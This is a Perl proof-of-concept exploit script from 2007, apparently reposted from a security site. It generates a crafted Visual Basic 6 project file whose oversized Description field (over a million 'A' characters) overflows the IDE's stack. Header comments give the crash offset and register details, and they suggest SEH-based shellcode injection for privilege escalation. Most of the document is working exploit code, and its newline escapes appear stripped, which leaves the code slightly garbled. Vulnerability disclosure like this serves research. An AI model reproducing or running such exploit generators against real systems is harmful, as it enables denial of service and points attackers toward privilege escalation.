Rated as : High Risk
#!/usr/local/bin/perl
#Discovered By UmZ (Umair Manzoor)
#comments are welcome at umz32.dll[at]gmail.com
#Dated 23-02-2007
#Time : 02:00 AM PST
#
#Stack Overflow
#Buffer Size 1037690
#overflow offset 004A2E43
#EBX contain values
#Memory to write 03B50188
#
#
#
#
#Visual Basic Project Description Stack overflow
#Affected Version : Tested on Visual basic 6
#Threats : DoS, Previlidges Escilation
#From : Local system
#
#
#Details:
# Microsoft Visual Basic 6.0 IDE crashes while parsing the project
detail's field when characters more then 1037690 are provided,
# causing stack overflow (vuln1.vbp in attached file). The data is stored
as UNICODE means that Shellcode can be injected in unicode manner
# to escilate previledges.
# As soon as the stack get overflow, an exception occur and NTDLL start
handling it => means that SEH based exploitation will work.
# Offset is mentioned above at which IDE crash. Register EBX contain the
malicious values.
# Memory address at which the malicous data (Project detail) are dumped
is: 03EF0189 and on words.
#
#OVERFLOW CODE n Instructions:
#
#004A2E43 |. 8501 TEST DWORD PTR DS:[ECX],EAX
#004A2E45 |. 3D 00100000 CMP EAX,1000
#004A2E4A |.^73 EC JNB SHORT VB6.004A2E38
#004A2E4C .^EB DB JMP SHORT VB6.004A2E29
# Disclaimer: This Proof of concept exploit is for educational purpose
only.
# Please do not use it against any system without prior
permission.
# You are responsible for yourself for what you do with this
code.
# This exploit is just POC, it will generate the crafted VB project.
print("nVisual Basic Project Description Stack overflow");
print("nAffected Version : Tested on Visual basic 6");
print("nThreats : DoS, Previlidges Escilation");
print("nFrom : Local system");
print("n----------------------------------------------");
print("nDiscovered & Coded by UmZ");
print("numz32.dll[at]gmail.com");
open (MYFILE, '>>Form1.frm');
print MYFILE "VERSION 5.00n";
print MYFILE "Begin VB.Form Form1n";
print MYFILE q(Caption = "Form1");
print MYFILE "nClientHeight = 3495n";
print MYFILE "ClientLeft = 60n";
print MYFILE "ClientTop = 345n";
print MYFILE "ClientWidth = 4680n";
print MYFILE q(LinkTopic = "Form1");
print MYFILE "nScaleHeight = 3495n";
print MYFILE "ScaleWidth = 4680n";
print MYFILE "StartUpPosition = 3 'Windows Defaultn";
print MYFILE "Begin VB.CommandButton Command2n";
print MYFILE q(Caption = "write");
print MYFILE "nHeight = 495n";
print MYFILE "Left = 2400n";
print MYFILE "TabIndex = 2n";
print MYFILE "Top = 2640n";
print MYFILE "Width = 1935n";
print MYFILE "Endn";
print MYFILE "Begin VB.TextBox Text1n";
print MYFILE "Height = 2175n";
print MYFILE "Left = 480n";
print MYFILE "MultiLine = -1 'Truen";
print MYFILE "TabIndex = 1n";
print MYFILE q(Text = "Form1.frx":0000);
print MYFILE "nTop = 360n";
print MYFILE "Width = 3855n";
print MYFILE "Endn";
print MYFILE "Begin VB.CommandButton Command1n";
print MYFILE q(Caption = "read");
print MYFILE "nHeight = 495n";
print MYFILE "Left = 480n";
print MYFILE "TabIndex = 0n";
print MYFILE "Top = 2640n";
print MYFILE "Width = 1935n";
print MYFILE "Endn";
print MYFILE "Endn";
print MYFILE q(Attribute VB_Name = "Form1");
print MYFILE "nAttribute VB_GlobalNameSpace = Falsen";
print MYFILE "Attribute VB_Creatable = Falsen";
print MYFILE "Attribute VB_PredeclaredId = Truen";
print MYFILE "Attribute VB_Exposed = Falsen";
close (MYFILE);
open (MYFILE, '>>vuln1.vbp');
print MYFILE "Type=Exen";
print MYFILE
"Reference=*\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\..\..\..\WINDOWS\system32\stdole2.tlb#OLE
Automationn";
print MYFILE
"Reference=*\G{420B2830-E718-11CF-893D-00A0C9054228}#1.0#0#..\..\..\..\WINDOWS\system32\scrrun.dll#Microsoft
Scripting Runtimen";
print MYFILE "Form=Form1.frmn";
print MYFILE q(Startup="Form1");
print MYFILE "nHelpFile=".q("");
print MYFILE "nCommand32=".q("");
print MYFILE "nName=".q("Project1");
print MYFILE "nHelpContextID=".q("0");
print MYFILE "nDescription=".q(")."A" x1037690
.q(");
print MYFILE "nCompatibleMode=".q("0");
print MYFILE "nMajorVer=1";
print MYFILE "nMinorVer=0";
print MYFILE "nRevisionVer=0";
print MYFILE "nAutoIncrementVer=0";
print MYFILE "nServerSupportFiles=0";
print MYFILE "nVersionCompanyName=".q("");
print MYFILE "nCompilationType=0";
print MYFILE "nOptimizationType=0";
print MYFILE "nFavorPentiumPro(tm)=0";
print MYFILE "nCodeViewDebugInfo=0";
print MYFILE "nNoAliasing=0";
print MYFILE "nBoundsCheck=0";
print MYFILE "nOverflowCheck=0";
print MYFILE "nFlPointCheck=0";
print MYFILE "nFDIVCheck=0";
print MYFILE "nUnroundedFP=0";
print MYFILE "nStartMode=0";
print MYFILE "nUnattended=0";
print MYFILE "nRetained=0";
print MYFILE "nThreadPerObject=0";
print MYFILE "nMaxNumberOfThreads=1";
print MYFILE "n[MS Transaction Server]";
print MYFILE "nAutoRefresh=1";
close (MYFILE);
print("nnCrafted Project has been generated!!!nn");
securitydot.net - 2007-05-24
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